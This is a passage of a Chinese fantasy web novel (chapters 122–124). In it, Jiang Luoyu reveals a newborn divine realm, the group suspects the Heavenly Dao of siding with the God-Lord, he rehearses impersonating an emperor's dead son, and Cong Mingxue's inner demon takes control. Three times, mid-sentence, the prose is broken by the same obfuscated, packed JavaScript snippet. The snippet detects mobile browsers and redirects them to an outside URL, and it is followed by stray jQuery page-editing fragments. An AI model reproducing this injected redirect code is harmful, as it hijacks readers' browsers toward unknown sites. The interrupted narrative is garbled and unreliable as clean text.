姜洛玉没回话,抓准时机,像对待哈气的猫一样抠了抠神界雏形大张着的嘴,尖牙划过手背留下几条擦痕。 神界雏形:“呕——” 张牙舞爪的生姜苗瞬间萎靡不振。 姜洛玉这才掐着生姜苗对丛明雪无奈道:“说来话长,边走边说。” 丛明雪颔首,两人一前一后出了密室。 芳菲居内春花依旧,丛明雪挥手打理了满院荒芜,摘下头顶的玉簪想插回姜洛玉头上。 姜洛玉:“先别……我怕这狗东西把秘境也吃了。” 丛明雪:“……?” 他收起玉簪,尝试着碰了碰生姜苗,眼睁睁看着尖牙瞬间闭合,疯狂蠕动着退后。 姜洛玉拍了拍生姜苗的脑袋:“有记性。” 听见夸奖,神界雏形并没有多开心,破罐子破摔般耷拉下去:“嘤,你饿死我算了。” 姜洛玉:“……” 不过神界雏形一声嘤咛,倒是让他想起来无相球和玄衣剑,唤来两者重新缔结了联系,无相球飘进丹田好奇地围着神界雏形转了转,然后“砰”得一下变得和神界雏形一般无二。 神界雏形:“……?!” 这什么鬼东西? 去往会客厅的路上,久违地暖阳打在身上,让姜洛玉不禁自发运转功法吸收灵气。 魔气和灵气根本没法比,吸收起来杂质多得要命,还得过滤好几遍逼出杂质,才能彻底被魔核吸收。 他理了理纷杂的思绪,侧过头问道:“你们为何知道我会重生在魔界?” “卜星神君……”丛明雪顿了一下,改口道,“是离昼叔算出来的。” “当年重获神格,下界法则已然容不下我们这些神君,于是天劫再降,归云海亮如白昼。” “九九天劫后,我们便出现在了春花境和云渺境之间的仙虚里。” 仙虚特指每个仙境之间的虚空,因为各仙境的特殊性,两两之间的仙虚也有着微妙的差距。 但里面的乱流和风刃却是必然的,肉身硬抗的前提是修为足够高深。 姜洛玉心里咯噔一下,虽说“神君”的修为足够高深,肉身强度也够格,但怎么说之前都硬抗了九九天劫。 “怎么会出现在仙虚?不是应该在升仙台……” 丛明雪失笑道:“我们又不是正经飞升。” “那天雷劈得太狠,神格拿回来后里面的神力又几近于无,着实狼狈。除却雨火风花四神底蕴深厚,还有我用三清秘境挡了一部分雷劫,其他神君全晕了过去。” “事急从权,我只好先将诸神君放进了三清秘境,又与雨火风花四神撑着一口气回了春花境。去仙灵园也是因为我知道清河仙君的为人。” 姜洛玉:“原来如此。” 会客厅外,古树参天。 姜洛玉向内看了几眼,大体上和走之前没什么区别,不过多了凝星三人。 即便如今姜洛玉不是三清秘境的境主,可他依旧和三清秘境密不可分。 凝星察觉到熟悉的气息,神色一喜看向入口,泪眼婆娑:“境主!太好了……你终于回来了。” 何在夕收起亡妻的玉雕,上下打量一番,感慨道:“大难不死必有后福。” 阿木托迎了上去:“境主,别来无恙。” 丛明雪跟在姜洛玉身后,面对众人探究的眼神,露出淡淡的笑:“心魔已经压制下去了。” 林朝盈放心地顺了顺气,撸着怀里一个劲儿踩奶的无形:“那就好。” 姜洛玉走进去看了一圈:“把人都叫过来吧。” 离昼走出角落点点头,吹响了特质的玉哨。 “嘟——” 尖锐的哨声传遍了整片宅子,不一会儿没在场的神君全都来到了会客厅,为首的是雨火风花四神。 待到众人落座,姜洛玉站到了众人面前。一月之前走得匆忙,他根本没了解多少众人这三百年来的状况,也没向众人诉说自己三百年来的境遇,如今合该交换一下手里的信息。 姜洛玉指了指天,又用眼神示意离昼。 离昼了然,瞥了眼姜洛玉手里掐着的流着口水的生姜苗,神情有些微妙。起身从在场神君手里收取了点东西加入禁术里,一个极其完美、能够隔绝天道的屏障笼罩住整个会客厅。 姜洛玉表情严肃,放出重磅炸弹:“七年前,我被复活成了新神界的载体。” 众人:“……?!” 没给众人反应时间,征得神界雏形同意后,姜洛玉把它暂时从丹田掏了出来。 相比于上次在神界的轮廓清晰,如今的神界雏形……略显缩水,而且星星点点的渣滓从山川上抖落下来,就连上面的河流也眼看着就要枯竭。 “诸位,可眼熟?”姜洛玉看向十八神君所在,为了让他们能看得更清楚些,还放置出水镜照着神界雏形。 花神惊讶得炸成了一片飞花,又迅速汇聚成了人形:“这不就是神界吗?” 火神同样错愕,发丝化作熊熊烈焰霎时间席卷整片会客厅。 好在这火不具备攻击性,只是热度让人难以承受。在众人的尖叫怒骂声里,雨神淡定下起灵雨浇灭了这场无妄之灾,掀起眼皮淡淡道:“菜,就多练。” 火神:“……” 姜林飞捂着嘴不敢朝那边看,这话还是他前几天才教给雨神的。 没想到这么快就用上了。 风神不动如山,望着水镜上的神界雏形:“这东西看起来快死了。” 姜洛玉:“……” 话是这么说的没错,但他分明记得,自己刚把丛明雪 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15378065|156250||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的芥子掏空喂了神界雏形。就算这些东西没有神骨有用,神界雏形也不该是个模样。 心念一动,姜洛玉挑了挑眉。 “咔嚓、咔嚓——” 咀嚼声清脆悦耳,神界雏形嚼着甜滋滋的铁心草,被端到和姜洛玉眼睛齐平的时候还有些反应不过来。 神界雏形:“看我做什么,你怎么不继续说了?” 姜洛玉对外放开了二者之间的传音,不可思议道:“你在……反刍?” 神界雏形:“是又怎么样?” 姜洛玉努力让自己忽视雏形裂开的缝隙里绿色的草汁,安慰自己这东西和一般法宝不一样:“你饿怎么不和我说?” 神界雏形没精打采:“你说呢?我需要的是神骨、神骨啊!你喂的这些东西连塞牙缝都算不上。” 说完在姜洛玉掌心扭了扭,小心翼翼地看向十八神君所在方向,巴掌大的身躯开始抖落更多的渣滓,虚了又虚。 想起刚才神界雏形对丛明雪的攻击性,以及对着诸神君露出的丑态,姜洛玉若有所思:“可现在没有神骨。” “神血可以吗?” 神界雏形等的就是这句话,瞬间渣也不掉了,河也跟着流动了,甚至激动地对着姜洛玉“汪”了两声。 “不装了?”姜洛玉似笑非笑地把神界雏形揉成一团,像拍皮球一样拍了两下。 神界雏形:“咕噜咕噜……?” 这人有病吧! “我可以理解你刚开灵智脑子不好使,毕竟我是你主人,得允许宠物犯错。” 听见“主人”两个字,神界雏形整颗球都麻了——主仆关系代表着姜洛玉对它的状况了如指掌。 它刚才究竟是有多蠢,才敢当着姜洛玉的面装虚弱?! 姜洛玉:“我在魔界就告诉过,不听话就捏死你。” 神界雏形抖了抖,嘴硬道:“我才没不听话。” 姜洛玉:“是,你只是学会了撒谎。” 感受到对方身上如有实质的危险气息,神界雏形瞬间闭嘴,开始思考补救的办法。 “擦擦手。”丛明雪一言难尽地掏出手帕,先用清洁术扫去上面的草汁,又牵起姜洛玉的手一根根擦拭着。 姜洛玉弹了弹神界雏形:“要不是你我现在一荣俱荣,早把你剔出去了。” 神界雏形:“呜呜呜我错了,我再也不敢了,主人你别赶我走……” 真把它剔出去,下场除了死路一条没有别的结果。 神界雏形被放在了半空自闭。 会客厅安静地有些吓人。 姜家众人神色各异,诸神君和三清秘境众人的脸色更是异彩纷呈。 “丢了吧。”何在夕满脸嫌弃,“这玩意这么没骨气,怎么看怎么不像新神界。” 其余人也十分赞同地跟着点头。 神界雏形:“……!” 垢姬长长的指甲划过扶手:“境主,现在是不是就可以确认,幕后之人乃神主无疑。” 除了神主,没人能将神界的每一条河流、山川都记得一清二楚。可即便记得,出于法则来说……也无法再造出来一个神界。 姜洛玉摇头,再度扔下一个重磅炸弹。 “除了神主,还有——天道。” 122.穿越第一百二十二天 说起“天”,凡人大概会抬头看一眼头顶的苍穹。而修士,绝对会想到那无形无相、却无处不在的…… 天道。 “太荒唐了。” 何在夕抓了抓乱成一团的头发:“你小子就算说神主的同伙是魔尊,我都敢信上一信。你说是天道……这和黄鼠狼给鸡百年有什么区别?” 神主和天道联手图什么? 天道当初可是把神主劈得魂飞魄散——咳咳,这个事实如今可以推翻了。但神主想毁灭六界这一点毋庸置疑。 六界没了对天道有什么好处? “而且真联手了,不就说明——” 脸上带着胡茬的男人倒吸一口凉气,被自己推测震得闭上了嘴。 “说明天道,它生出了自己的意识。”角落里骑着大狗的辰欢慢悠悠道。 如今的他虽然外形恢复了成年状态,但心性依旧和孩童没什么区别,所以仍然用着妖界的模样。 风神:“天地不仁,以万物为刍狗。*若是真的生出了自我,如此,那这天便没了存在的必要。” 在场众人里,除了姜家人才来此界没多久,对天道的认知还没什么深刻,其余人的表情全部都和吃了屎没什么区别。 姜林廷蹙眉:“天道绝对不能产生灵智吗?那……神君为何又能与小弟结了道侣契?” “会思考的东西总是会产生偏颇。”离昼缓缓道,“天道说到底不过是个调节万物平衡的工具……唔,类似你们那个世界的系统,这世上所有的东西都运转在天道既定的法则下。” “就连你看见的所谓被天道‘偏爱’的气运之子,也都是法则平衡后的结果。至于药辛,他只是所修为‘天道’,并非是成了天道,钻空子结道侣契不在法则约束下。” 姜洛玉点头表示赞同,然后对着众人说:“虽然我也不想承认,但很遗憾,天道真的产生了自我意识。” 他把社死的神界雏形放大,指着上面每一条栩栩如生的山川沟壑。 “当初神界消亡乃是‘天罚’,如今神界重现,没有天道的默许绝对不可能。”姜洛玉又指了指自己,“再者当初的灭心毒无药可解,那是连神魂都能融化的至毒,就连神主的分身也抵挡不了。” 那伽:“神主分身?” 红楹:“当然是白卅了。那东西能承受得住上界魔族的魔核就能说明问题。” 姜洛玉颔首后继续道:“我顶着满身毒血,逆天而行夺回神格,为法则所不容,理应死在那天的雷劫之下。” “但我却没死。我的魂魄出现在了魔界的伴月城,被神主另一具分身炼化成了一颗种子,在体内强行种下了仙魔两道的根基。三百年融合重塑,七年前才破土而出,两道双修,后丹田又显化出了神界雏形。” “若是没有天道插手,这一连串操作绝不会成功。” 这才是他死而复生的真相。神主当初可是“陨落”在了天道的怒火下,就算侥幸留了点神魂,也不该过了十万年就能在六界再度兴风作浪。 神界雏形用渣滓憋出来一个“圈”,悬浮在整个雏形之上,算是一种无声的默认。 它知道的也不是很清楚,只是隐约能感受到自己的诞生是被天道允许的。 迦南月:“那王八蛋没对你怎么样吧?可若是神主分身,玉儿你又是如何逃回来的?” “倒是没怎么样。那分身刚开始似乎是想要等我孕育好新神界之后认主,并未动粗,而是……”姜洛玉表情扭曲一瞬,“认我当了儿子。” 姜景安:“……?” 姜洛玉:“至于如何出逃,有一部分原因是因为九尾避厄兽。” 无形在林朝盈怀里娇娇地“咪”了一声,四条尾巴来回晃来晃去。 “更重要的是,我怀疑分身是主动放我回来的。” 离昼:“境主何出此言?” 姜洛玉指着神界雏形道:“因为它。” 雨神:“因为它的吃神骨和神血?” 刚才关于天道和神主联手的消息过于震撼,反而忽略了神界雏形需要进食神骨和神血这码事。 姜洛玉叹了一口气:“确实如此。不知道诸位神君有没有……钻研过其他神君的遗骨,我拿到魔神遗骨的时候还以为那东西只是个装饰品。” “想必这东西一般人无法运用里面的能量。” 丛明雪出言否定:“错了,一般人根本无法靠近神族神骨。我曾见过星神神殇后的遗骨,骨骼清透煌煌如大日,明晃晃的摆在神界神殇‘天祭’的祭坛上,那时甚至没人能靠近祭坛半米之内。” “直到百年后,新任星神降世,那遗骨才被新星神吸收进体内。至于我等后天神君的遗骨,神殇时会一并反哺到天地之间。” “魔神死在天罚里,天罚留下的遗骨想来和神殇有所不同,又或是因为魔神的骨头过于零碎,所以才能为你所触。” 姜洛玉恍然大悟:“七年间那分身除了供给天材地宝,没能拿来一块儿神骨。如今看来是瞧不上魔神的神骨,又拿不到仙界的。” “魔界仅有的五块儿神骨都被神界雏形吞噬,仙界的还需从长计议。” 半空中自闭的神界雏形闻言晃了晃,对着姜洛玉小声哔哔:“魔神遗骨能被那些人找到的确是因为它太碎了,里面的能量逸散不少。仙界的神骨都是完整的,除了你我没人能触碰。” 姜洛玉:“指个神骨的方向看看?” 神界雏形:“……现在不太行,百丈之内我才能感受到。” 姜洛玉扶额:“你还是先当个废物点心吧。” 丛明雪看着又抖落不少渣滓的神界雏形,问:“需不需要给它神血?” 姜洛玉:“暂时不需要,再饿上几天也死不了。” 这东西虽说已经认他为主,保不齐之后天道和神主还会做什么幺蛾子,血不能喂。 神界雏形:“……” 说完了对幕后之人身份的推测,姜洛玉又把分身在魔界做的谋划全盘托出。 虽然里面不合理的地方有很多——比如分身没有做出任何反扑的举动就放弃了魔界,但神主本就是个随心所欲的人,无法用正常人的逻辑去考虑他的一举一动,只好暂且当他是玩腻了。 至于更加令人惊悚的推测,众人心知肚明。 天道若是真铁了心的想做些什么,他们只能成为洪水里的蚂蚁,自顾不暇。 唯一能做的只有抱团取暖,汇聚成“蚁筏”求得一线生机。 把神界雏形塞回丹田,姜洛玉随便找了个空位坐下:“你们这些年……有什么进展?” 当初在下界时,众人设想若是有朝一日重回仙界,首先要联系相识且可靠的神君,告诉他们要小心贼人偷盗神格。之后便是背地里一边寻找幕后之人,一边确认仙界是否也沦陷在了幕后之人手里。 敌暗我明,这种情况下只能徐徐图之。最好能尽快获取几个没有问题的仙帝信任,增加对抗幕后之人的底气。 如今三百年 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15384211|156250||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 已过…… 众人沉默不语,每个人脸上都神情微妙。 姜洛玉有种不妙的预感。 最后还是离昼打破了沉默,用命修独有的那种空灵飘渺的嗓音将一切娓娓道来。 前一百年,众人基本上聚居在仙灵园养伤。 归云海那场惊世天雷不仅损坏了众神的肉身,也破坏了神格。 神格是储存神力的根本,修不好只能等死。于是丛明雪并上雨火风花四神没有贸然联系仙界旧友,而是满仙境到处搜集天材地宝修复破损的神格。 一百年众神堪堪恢复,三清秘境三百多渡劫灵君也陆续进阶到了上仙修为,不过秘境里的天材地宝也没有进阶为仙品的苗头。 这一百年也让众神摸清了一个棘手的事实,剩下那九十神君这些年里居然不约而同全部“闭关”。 闭关的理由也千奇百怪,但又格外合理。就算知道其中必有猫腻存在,众神也只得放弃联系旧友,转而试图获取各仙境仙帝的信任。 在仙界神君、神族受法则牵制,除非对打或是遇上了生死危机,不然能发挥出来的水平和仙君差不了多少。直接去见仙帝也是一种办法,但又无法确定对方是不是幕后之人手下的鹰隼,又或是幕后之人本身,暴露身份得不偿失。 再者仙帝除了朝会外大多数都深居简出,非是重要的下属基本上见不到其真容。 姜洛玉:“神主夺取神格一定是贪图里面的神力,我陡然夺回神格,神主肯定也受了伤。” “按照神主的性格,说不准附身在了哪个仙帝身上,十二仙帝就没有突然闭关或是受伤的吗?” 火神:“怪就怪在,仙界除了那些本就不怎么露面的神君突然闭关,没有任何异样。” “那之后呢?”姜洛玉咬了咬下唇,抱起跑过来的无形撸着猫毛。 之后……之后的事情有些超出众人的掌控。 众人本打算先在春花境获取空杞仙帝的信任,不曾想刚制定好计划,十二仙帝之首的无极仙帝召了其余仙帝去往通天境论道。 一论就是将近二百年。 姜洛玉:“……?” 论道很正常,如今神界消亡没了晋升渠道,仙界成了如今修仙的终点。仙和神的最大区别可以归结为神活得太久会失去对万事万物的兴趣主动走向神殇,而仙活得越久想得越多,一不小心就会钻牛角尖堕魔。 几个仙修围在一起设宴论道十分常见,甚至在仙界传出过不少佳话。 去下界渡劫前姜洛玉可是见过不少惨案。今天的仙修分明对着仙友言笑盈盈,明天一个想不开,便提着好友的脑袋血洒长街。 可论道二百年实在是过于离谱,特别是对于仙帝这个修为的仙修来说。 “我觉得不用试探了,神主大概附在了无极仙帝身上。”他抽了抽嘴角,“地位高、做事不按套路出牌,很符合神主的审美。” 丛明雪轻叹一声:“也是一种猜测。” “十年前论道结束,诸位仙帝皆有所悟,大多数都宣布闭关。空杞仙帝也是前些日子才出关的。” 姜洛玉:“那现在是不是能继续实施计划了?” 刚才离昼说仙帝们论道的二百年里,凝星三人凭借高超的医术成功混到了长风仙君身边,若是再想取得空杞仙帝的信任,首先得让长风仙君彻底加入他们的阵营…… 姜洛玉猛地头皮发麻,一抬头对上了满屋子人的视线。 “你们……看我做什么?” 123.穿越第一百二十三天 如果视线能化为实体,姜洛玉毫不吹嘘,自己现在能被戳成筛子。 丛明雪默不作声地握住了姜洛玉的手,送去一个安抚的眼神,却不知该如何开口。 满室寂静,姜洛玉回握住丛明雪的手,紧张地等待有人打破寂静。 离昼:“天道站在了神主身后只是我们的猜测,现在要紧的是继续按照计划接近空杞仙帝。” “至于我们之前的计划……”红楹眸光闪烁,话锋一转,“空杞仙帝曾用阴阳转生花育有一子,名唤扶乐,在春花宫被众仙如珠如宝地养大,可谓百般宠爱,到了要星星不会给月亮的溺爱程度。” 姜洛玉右眼皮跳了跳:“……?” 花神:“扶乐此子本为天材地宝托生,生性纯良,天真烂漫,可惜被空杞保护得太好。彼时恰逢仙帝之争在即,这孩子被有心之人利用哄骗,认为自己是空杞为了证道才催生出来的。” “于是二百三十岁生辰那年,他在极度恐惧中含恨自尽了,神魂俱灭。” 姜洛玉艰难开口:“什么道……还得用儿子证?” “杀道。” 垢姬靠在凝星的肩膀上,伸出手指慢悠悠数着:“杀父杀兄、杀亲杀友、杀妻杀子、杀老杀幼……” 凝星拍了拍自家妹妹的手,无奈道:“境主别听她瞎说,杀道修歪了才这么胡来。” “正常的杀道修士,杀的都是大奸大恶之徒,或是对自己心怀不轨之人。” 雨神咳了咳,拿出把折扇慢悠悠摇着:“那扶乐是空杞为了稳固道心才孕育出的。这样一来,就算他将来不小心迷失在杀戮里,也能留得一丝清明恢复正常。” “眼睁睁亲子在怀里断气,事后空杞一怒之下血洗整个春花境,但凡和那‘有心人’粘上关系的全死了,仙帝之争上更是将那人背后的仙帝打得半死,让对方被迫退位。” 姜洛玉:“所以你们说这个……” “空杞仙帝不日将宴请春花境四大洞天的仙君以及其部下,那时春花宫会对外召集一批仙侍,是个接近他的绝佳时机。”叶望绿色的眼睛发亮,一甩头发丢出几片荷叶。 荷叶凝结成了两个小人,一个和姜洛玉一般无二,另一个则是个看起来十五六岁的少年。 叶望两指一捏,二者合二为一。 “你们想让我变成扶乐去接近他?” 会客厅的风有些大,吹乱了姜洛玉的头发。 扮演别人对他来说算是老本行了,毕竟他的大道就是这样,但是…… 花神说着变成了一副少年模样,眉眼灵动:“之前的人选是我,不过如今烛山君回来了,你比我更适合。” “我于此道虽通但不精,只是学着玩罢了,真要让我每天演戏,保不准哪天就本性暴露。” 姜洛玉揉了揉无形的猫脑袋:“没有扶乐用过的东西,我无法用功法让空杞仙帝对我彻底放下戒备。” “而且别说是皮囊相似,就算是有了扶乐的记忆,长得也和他一模一样,大概也不会让一个活了几万年的仙帝有所动容。” 风神一本正经:“你说的没错,之前那些人也都败兴而归。” 姜洛玉:“……” 什么叫做“之前那些人”??? 他下意识再度看向丛明雪,只见对方轻叹一声,无奈道:“虽然扶乐死了,但他作为空杞仙帝的情感依托影响仍在,也算是让空杞仙帝不会在无穷杀意里丧失自我。” “于是仙界出现了一批人,他们模仿扶乐的音容笑貌,想尽各种方法出现在春花宫,试图一步登天取代扶乐的地位,从此便不用再为修炼资源费尽心机。” 仙界每一仙境的面积几乎可以称为广袤无垠,其内无主的修炼资源无数,同时伴随着许多危险。 修为低的仙修最开始的境遇往往凄惨无比,特别是下界飞升的仙修。没有资源、背景、亲友相助,要挣扎好一段时间才能过得舒坦些。 碰上那些意志不坚的,飞升之后意识到人外有人天外有天,自己修炼速度根本比不上那些天生地养的灵物,也比不上那些仙人结合诞生的仙胎,往往会道心不稳进境困难。 听见有这么多人试图打动一个修“杀道”的仙帝,姜洛玉倒是不觉得意外。 毕竟机会是留给有准备的人的,搏一搏单车变摩托,成了仙帝的儿子别说春花境,整个十二仙境都能横着走。 更何况,这么看来空杞仙帝没禁止这些人的模仿,大概也存了什么外人不可知晓的原因。 姜洛玉若有所思:“所以,这是个很有竞争性的岗位。” 丛明雪:“可以这么说。春花宫每一月都会放出仙侍名额,报名的人前仆后继。” 姜洛玉:“那空出来的位置不会是……被杀了吧?” 丛明雪:“都是自愿离开的。据传空杞仙帝自从痛失爱子后性情大变,很少有人能在他身边服侍超过一个月。” 姜洛玉摸了摸下巴,看向坐在棋盘边的姜景安。 姜景安云淡风轻地点了点头,默默捏碎了手里的棋子:“想去就去吧。” 爹这种东西,多一个就是多一份助力。 姜洛玉当即拍案,目光坚定:“既然如此,我便试上一试。成则不仅多了个仙帝当爹,还能试探他是否被神主策反,败……对我来说也没有任何损失。” 花神目光灼灼:“早就听说烛山君万相之道精妙绝伦,不知可否借此机会赐教一番?” 七天后,距离空杞仙帝的宴会还有半个月的时间。 会客厅外的古树下,一身粉绿长袍的少年笑得天真烂漫,灿若星辰的眸子里夹杂着勃勃生机,手里还抱着只脚部受伤的猫,低头和猫对视的样子…… 谢子宁蹲在地上“嘶”了一声:“二师兄,你的眼神凶得很,好像马上就要把猫扔出去。” 姜洛玉表情一僵:“……” 这几天里,会客厅成为了他用来练习的场地。 由于扶乐死得太早,两千八百年前就变成了一捧飞灰,找他用过的东西可以说是天方夜谭,只得另辟蹊径搜寻关于扶乐的影像。 好在扶乐在春花境参加祭祀时的影像没被空杞仙帝禁止传播,搜罗到手后便开始逐帧学习模仿。 外貌的幻化易如反掌,模仿内在的水平姜洛玉不说致臻化境,怎么着也可圈可点。 只不过……这次倒是意料之外地翻了车。 花神身上穿着和姜洛玉一样的长袍,脸也是一副少年模样,在旁边跟着摇头:“你这两天状态不对啊。” “我擅长模仿‘形’,你擅长刻画‘骨’,怎么今天连形都模仿不好了?” 姜洛玉变回本相,接过丛明雪递来的茶水,抿了一口:“我这几天魔核有些不稳定,许是受此影响才会如此。” 丹田里,元婴与魔核分别坐在神界雏形两侧,无相球变成神界雏形的模样,贱兮兮地在它面前晃来晃去。 说话间魔核似乎是察觉到了有人在喊自己,浑身爆发出诡异的红光,似乎马上就要飞出丹田。 “砰——”得一下,元婴一跃 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15393165|156250||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 而起,抓着魔核一顿胖揍,魔核这才老实下去。 这样的全武行几乎每隔半个时辰就要上演一次。 “怎么不和我说?”丛明雪蹙眉走到姜洛玉身边,探进去一丝微不可察的神力。 里面的魔核察觉到神力靠近,抖了抖,却没有乱动。 几个呼吸后,丛明雪神情微妙。 “它这是怎么了?”姜洛玉打了个哈欠。 通常情况下,仙魔两界不仅通道锁死,就连里面的修士也不能随意乱窜。 仙修想去魔界,得在路上就将自己伪装成魔修,反之亦然。 走过互市阵法的魔修倒是用不着这么做,但互市早就结束,所以这些日子他一直没敢动魔核,就怕被法则发现他是个鱼目混珠的“魔修”,把他一脚踢出去。 丛明雪:“它饿了。” 姜洛玉:“……” 他养的一个两个都是饕餮吗? 神界雏形“咕叽咕叽”嚼仙晶的动作一顿:“你骂人怎么不屏蔽我?” 丛明雪蹙了蹙眉,展开结界隔绝他人视线,揽过姜洛玉在他额头亲了亲,柔声道:“我去帮你解决。” 结界溃散,待到银发青眼的男人转身时,众人清晰地看见了他发尾蔓延上去的一点漆黑。 等到丛明雪彻底走远,谢子宁才敢小声开口:“师尊不是刚压制完心魔吗?” 三天还是两天之前出关的?之前不是压制一次能挺一个月吗? 姜洛玉摸了摸眉心残存的余温,看向撸着垂耳兔的花神:“神君,您有何见解?” 他对心魔这种东西了解的还真不多,更何况丛明雪情况特殊,对方不说更是难以了解其中关键。 花神思考一瞬,送出去一道传讯符。 不一会儿,何在夕的声音从符咒里飞了出来:“压制效果变差肯定是因为心魔力量变强了,在与本体争夺控制权。” “药辛那小子……他不是说一切尽在掌握之中吗?他那什么道义,算了……我一会儿去看看他。” 花神:“您歇着吧,他出去了。” “来接着练,控制不住魔核那就先练小动作。” 姜洛玉“嗯”了一声,再度变回扶乐的壳子,走路的时候手指敲击着腿侧的衣物。 春花境互市阵法处,当值的女修打着哈欠。 驼铃声从阵法里响起,她刚要站起来迎接这次的商队,猛地眼前一花。 丛明雪将人放置到身后的花丛里,带着隔绝神识的兜帽,拿着清单走到领队对面。 “极品魔晶,越多越好。” 领队接过储物袋打开扫了一眼,被里面散发着刺目的五彩宝光,闪得痛苦闭眼:“仙长,我手里可没这么多极品魔晶。” 和守阵仙修私底下换些东西已经差不多成了一种传统,以往的仙修都是要一些稀奇古怪的玩意儿,上来就要换魔晶的领队还是第一次见。 丛明雪:“品阶低一些的也可以,若是有同品质的魔植和魔宝,我也照收不误。” 领队思索片刻,从储物袋里掏出了自己需要的东西,又将丛明雪需要的一股脑塞了进去。 酉时,金乌归巢。 女修从放着清单的木桌上醒来,“嘶”了一声,整理完勾掉不少货物的清单继续等着下一批互市的商队过来。 丛明雪确认了一遍储物袋里东西,加快了脚步。 “别急啊。”心魔阴恻恻的声音突兀响起。 “我劝你去找面镜子……看看自己如今的丑态。” 124.穿越第一百二十四天 帏帽在风中摇摇晃晃,身后的黑白双色长发的发梢变得枯燥无光。 “他都是骗你的。没人能在心魔附身的状态下依旧如常,你的那些令人作呕的欲望全都会暴露在他眼里。” 心魔的声音从识海里清晰传出。 丛明雪回菡萏街的脚步一顿,移步走到旁边的锦鲤池,掀开帏帽,定定看着水中异色双瞳的男人。 那双眼睛格外阴沉,随着眼球转动还会划过着意味不明的暗光。 色香味俱全的鱼食掉进水里,尚未开智的锦鲤争先恐后,被来往众仙喂得和小猪没有区别的身体摇摇晃晃,似乎下一秒就要翻起肚皮。 丛明雪收起了还剩下一半儿的鱼食,一字一顿道:“阿玉说不丑。” 心魔:“我呸!现在怎么不嫌弃我是垃圾了?垃圾附到你身上还不嫌恶心,当真是虚伪至极。” 丛明雪:“何必分得那么清,你我本为一体。” 所知所想,所言所语,虽然激烈一些,却是他曾经真切想过的…… 他们永远也无法割席。 心魔:“你&%*——” 他有时候,真是恨不得自爆连带着把本体也一起炸死。奈何他现在自爆伤不到本体,倒是让本体省去了斩心魔的力气。 “敢不敢和我打个赌?”心魔循循善诱。 “就赌……他能不能发现你我的差别?” 芳菲居院子里的花树这几天开得格外茂盛。 姜洛玉微微踮起脚瞧了瞧,发现这满树的花居然又结果的迹象。 “变异了?”他拨弄两下并蒂双花,盯着花蕊中间新长出来的小指甲盖儿大的黄果子。 春花境的花……不是都结不了果子吗? “阿玉。” 听见声音,姜洛玉放弃研究花树的异变,转过身还未答话,耳鬓就被人簪上了一朵格外粉嫩的花。 这花上灵气浓郁,却没有生机可言,显然是某人刚用仙力搓出来的。 姜洛玉按住右耳上的花,朝着对面的男人笑了笑:“我这样好看吗?” 男人银发如瀑,原本疏离的瞳仁里浮现出一丝柔情。对面青年笑起来像是和煦的暖风,桃花眼里倒映着满天花雨,让他的心也不禁跟着慌乱几分。 很漂亮。 他的道侣……比他刚搓出来的花还要明媚。不再是苍白、单薄得像是一张白纸,就连稍微大力一点拥抱他,都会担心他受不受得住的模样。 每每想到那段日子,都让他恨得心中呕血。 男人喉结滚动了一下,垂下那双葱绿色眼睛,声音暗哑:“好看。” 说罢微微俯下身子,抬手撩起姜洛玉被风吹到脸颊的发丝,规规矩矩地捋到耳后。 “你和本体……真的很不一样。” 心魔的手腕一僵,想要再挣扎一下:“阿玉你在说什么?我听不懂。” “你刚才没有直接走进来,而是在院门口停顿了一下。”姜洛玉轻轻拍了拍心魔表情僵硬的脸,“而且你的眼神再怎么伪装,也无法抹除眼底的暴戾。” 不过那暴戾不是对他的,而且除了暴戾……其实还有很多其他情绪,他看不太清。 心魔见伪装败露,索性也不装了,眨眼间变成了浑身漆黑的模样。格外露骨的眼神在姜洛玉身上来回扫视,末了抠着手心压抑着心底涌上来的念头。 他想……将人撕碎吞进肚子,连带着三魂七魄也融进骨血。 这样,就没人能将他们分开了。 本体分不开、神主分不开,就连天道也……天道若是敢和他强人,他不介意努力一把换一个不会思考的天道。 “本体呢?” 听见对面人的问题,心魔眼珠的血色瞬间褪去,声音沙哑:“我把他揍晕了。” 姜洛玉:“……” 也太狠了。 他瞧着外面渐暗的天色,对着心魔招手:“进来说话。” 心魔终于忍不住,走上前扯住了姜洛玉的袖角,低眉顺眼地跟在他身后走进屋内。 点燃屋内的明灯,姜洛玉仔细瞧了瞧心魔附身版本的丛明雪。 外貌除了头发眼睛变黑,别的倒是没什么区别。 在修道的过程中,心魔是最常见的考验,最普遍的特性就是性格与本体截然相反。 善人心魔极恶,悲人心魔极乐……反之毅然,但这些只是表象,心魔本质是修士不良情绪的蔓延,却不被修士主观接纳,才得以凝结出形体被困在修士的识海。 它们的使命是让本体重新接纳自己,从而避免被斩落在熔渊的结局。 